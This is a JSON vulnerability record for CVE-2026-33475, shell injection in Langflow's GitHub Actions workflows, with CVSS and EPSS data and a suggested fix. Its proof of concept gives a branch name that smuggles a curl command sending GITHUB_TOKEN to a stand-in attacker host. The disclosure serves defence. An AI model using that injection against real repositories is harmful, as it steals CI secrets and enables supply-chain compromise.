{"schemaVersion":3,"id":"CVE-2026-33475","aliases":[],"status":"published","duplicateOf":null,"title":null,"description":"Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.\n\n---\n\n### Details\n\nSeveral workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:\n\n```yaml\nrun: |\n  validate_branch_name \"${{ github.event.pull_request.head.ref }}\"\n```\n\nOr:\n\n```yaml\nrun: npx playwright install ${{ inputs.browsers }} --with-deps\n```\n\nSince `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.\n\n---\n\n### PoC\n\n1. **Fork** the Langflow repository\n2. **Create a new branch** with the name:\n   ```bash\n   injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN\n   ```\n3. **Open a Pull Request** to the main branch from the new branch\n4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)\n5. The `run:` step containing:\n   ```yaml\n   echo \"Branch: ${{ github.head_ref }}\"\n   ```\n   Will execute:\n   ```bash\n   echo \"Branch: injection-test\"\n   curl https://attacker.site/exfil?token=$GITHUB_TOKEN\n   ```\n\n6. The attacker receives the CI secret via the exfil URL.\n\n---\n\n### Impact\n\n- **Type:** Shell Injection / Remote Code Execution in CI\n- **Scope:** Any public Langflow fork with GitHub Actions enabled\n- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data\n\n---\n\n### Suggested Fix\n\nRefactor affected workflows to **use environment variables** and wrap them in **double quotes**:\n\n```yaml\nenv:\n  BRANCH_NAME: ${{ github.head_ref }}\nrun: |\n  echo \"Branch is: \\\"$BRANCH_NAME\\\"\"\n```\n\nAvoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.\n\n---\n\n### Affected Files (Langflow `1.3.4`)\n\n- `.github/actions/install-playwright/action.yml`\n- `.github/workflows/deploy-docs-draft.yml`\n- `.github/workflows/docker-build.yml`\n- `.github/workflows/release_nightly.yml`\n- `.github/workflows/python_test.yml`\n- `.github/workflows/typescript_test.yml`","dates":{"published":"2026-03-24T12:54:33.369Z","modified":"2026-03-25T03:55:45.997Z","reserved":null,"kevAdded":[],"kevDue":[]},"cvss":{"headline":{"score":9.1,"severity":"critical","version":"3.1","versionLabel":"v3.1","source":"CVE.org","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","computed":false,"selection":"backend-summary"},"metrics":[{"version":"3.1","versionLabel":"v3.1","source":"CVE.org","score":9.1,"severity":"critical","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","exploitability":null,"impact":null,"computed":false},{"version":"3.1","versionLabel":"v3.1","source":"NVD","score":9.1,"severity":"critical","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","exploitability":null,"impact":null,"computed":false}]},"epss":{"probability":0.02174,"percentile":0.82144,"severity":"low","asOf":"2026-10-21T00:00:00.000Z","change":{"pp":-0.782,"baselineDate":"2026-09-21T00:00:00.000Z","baselineScore":0.02956},"history":[{"date":"2026-09-14T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-15T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-16T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-17T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-18T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-19T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-20T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-21T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-22T00:00:00.000Z","score":0.031,"percentile":null},{"date":"2026-09-23T00:00:00.000Z","score":0.031,"percentile":null},{"date":"2026-09-24T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-25T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-26T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-27T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-28T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-29T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-30T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-01T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-02T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-03T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-04T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-05T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-06T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-07T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-08T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-09T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-10T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-11T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-12T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-13T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-14T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-15T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-16T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-17T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-18T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-19T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-20T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-21T00:00:00.000Z","score":0.02174,"percentile":0.82144}],"last30":[{"date":"2026-09-21T00:00:00.000Z","score":0.02956,"percentile":null},{"date":"2026-09-22T00:00:00.000Z","score":0.031,"percentile":null},{"date":"2026-09-23T00:00:00.000Z","score":0.031,"percentile":null},{"date":"2026-09-24T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-25T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-26T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-27T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-28T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-29T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-09-30T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-01T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-02T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-03T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-04T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-05T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-06T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-07T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-08T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-09T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-10T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-11T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-12T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-13T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-14T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-15T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-16T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-17T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-18T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-19T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-20T00:00:00.000Z","score":0.02093,"percentile":null},{"date":"2026-10-21T00:00:00.000Z","score":0.02174,"percentile":0.82144}]},"kev":{"state":"not-listed","entries":[],"listedCount":0,"totalCatalogs":3,"catalogs":[{"source":"cisa","label":"CISA","listed":false,"entry":null},{"source":"enisa","label":"ENISA","listed":false,"entry":null},{"source":"circl","label":"CIRCL","listed":false,"entry":null}]},"ransomware":{"state":"none-recorded","sources":[]},"exploits":[{"id":"GITHUB_LANGFLOW-AI_LANGFLOW","name":"Langflow","source":"github","url":"https://github.com/langflow-ai/langflow/issues/1973","maturity":"poc","reliabilityScore":0.3,"verified":false,"type":null,"platforms":[],"requiresAuth":null,"exploitdb":null,"metasploit":null}],"exploitCount":1,"weaknesses":[{"id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","description":"The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.","type":"weakness","status":"Incomplete","abstraction":"Class","likelihoodOfExploit":"High","url":"https://cwe.mitre.org/data/definitions/74.html"},{"id":"CWE-78","name":"Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","description":"The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.","type":"weakness","status":"Stable","abstraction":"Base","likelihoodOfExploit":"High","url":"https://cwe.mitre.org/data/definitions/78.html"}],"affected":[{"vendor":"langflow-ai","product":"langflow","name":"langflow","label":"langflow","ecosystem":null,"cpePart":"a","purl":null,"purlType":null,"versions":[{"text":"< 1.9.0","noFixRecorded":false,"fixedIn":null}],"versionsText":"< 1.9.0","eol":null,"hubHref":"/vendor/langflow-ai/langflow"},{"vendor":"langflow","product":"langflow","name":"Langflow","label":"langflow","ecosystem":null,"cpePart":"a","purl":null,"purlType":null,"versions":[{"text":"< 1.9.0","noFixRecorded":false,"fixedIn":null}],"versionsText":"< 1.9.0","eol":null,"hubHref":"/vendor/langflow/langflow"}],"affectedCount":2,"eol":{"hasEol":false,"count":0},"references":[{"url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w","label":"github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w","hostname":"github.com","tags":["X Refsource CONFIRM","Exploit","Mitigation","Vendor Advisory"]}],"lineage":{"upstream":[],"downstream":[],"duplicates":[],"related":[]},"timeline":[{"kind":"published","date":"2026-03-24T12:54:33.369Z","label":"Published","detail":"Vulnerability first disclosed.","source":null},{"kind":"modified","date":"2026-03-25T03:55:45.997Z","label":"Last modified","detail":"Vulnerability information updated.","source":null}],"risk":{"score":70,"level":"high","profile":"Default","thresholds":{"critical":75,"high":50,"medium":25,"low":10}},"meta":{"dataAsOf":"2026-10-21T18:10:57.227Z","stale":false,"partial":false}}